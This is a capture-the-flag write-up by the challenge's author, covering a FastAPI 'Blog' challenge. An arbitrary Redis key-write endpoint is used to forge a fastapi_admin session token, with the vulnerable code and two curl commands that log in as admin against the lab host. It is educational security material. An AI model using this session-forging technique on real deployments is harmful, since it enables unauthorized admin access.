TL;DR: An arbitrary Redis key-write lets you forge a fastapi_admin
session token, log into the admin dashboard, and read the flag.
"Blog" is an easy whitebox web challenge. You're given the source for a small
FastAPI application that lists articles. The flag lives in a flag table, and
the app uses the fastapi_admin package to provide an admin dashboard.
.
├── build.sh
├── Dockerfile
├── entrypoint.sh
├── main.py
├── pyproject.toml
└── uv.lock
The important code fragments are:
1 # main.py
2
3 from fastapi_admin.app import app as admin_app
4
5 REDIS_URL = os.getenv("REDIS_URL", "redis://localhost:6379/0")
6 ADMIN_USER = secrets.token_hex(20)
7 ADMIN_PASS = secrets.token_hex(20)
8 FLAG = os.getenv("FLAG", "ASU{example_flag}")
9
10 app = FastAPI(lifespan=lifespan)
11 app.mount("/admin", admin_app) # register fastapi_admin
12 templates = Jinja2Templates(directory="templates")
13
14 @asynccontextmanager
15 async def lifespan(app: FastAPI):
16 ...
17 r = aioredis.from_url(REDIS_URL, decode_responses=True, encoding="utf8")
18 await admin_app.configure(
19 providers=[LoginProvider(admin_model=Admin)],
20 redis=r,
21 )
22 ...
23
24
25 # === !! VULN !! ===
26 # set an arbitrary redis key
27 @app.post("/theme", response_class=RedirectResponse)
28 async def set_theme(
29 request: Request,
30 key: str = Form(...),
31 value: str = Form(...),
32 ):
33 sid = get_sid(request)
34 r = aioredis.from_url(REDIS_URL, decode_responses=True)
35 await r.set(key, value) # <----- attacker controls both key and value
36 await r.aclose()
37 resp = RedirectResponse("/", status_code=303)
38 resp.set_cookie("session", sid, httponly=True)
39 return resp
Note that the admin account is created, but the credentials are truly random so you can't guess them.
The /theme endpoint lets you write an arbitrary key and value into
Redis. That's the whole bug. But this on its own does nothing,
but because fastapi_admin uses Redis to store session tokens you can forge an admin session.
Browsing the library on GitHub: fastapi_admin/providers/login.py#L117
1 async def authenticate(
2 self,
3 request: Request,
4 call_next: RequestResponseEndpoint,
5 ):
6 redis = request.app.redis # type:ignore
7 token = request.cookies.get(self.access_token)
8 path = request.scope["path"]
9 admin = None
10 if token:
11 token_key = constants.LOGIN_USER.format(token=token)
12 admin_id = await redis.get(token_key)
13 admin = await self.admin_model.get_or_none(pk=admin_id)
You will notice that:
self.access_token, which is "access_token"LOGIN_USER format, which is
login_user:{token}1 (You could check the database locally to verify).So an admin session is just a Redis key login_user:<anything> with value 1,
and a matching access_token cookie.
Step #1 Create the session token via /theme:
1 curl -X POST http://challenge:80/theme \
2 -d 'key=login_user:my_fake_token' \
3 -d 'value=1'
Step #2 Use it:
1 curl http://challenge:80/admin -H "Cookie: access_token=my_fake_token"
You're now authenticated as admin 1 and can read the flag from the dashboard.
This was ASU CTF 14, an on-campus CTF. I ran the infrastructure and authored a couple of the web and pwn challenges, including this one.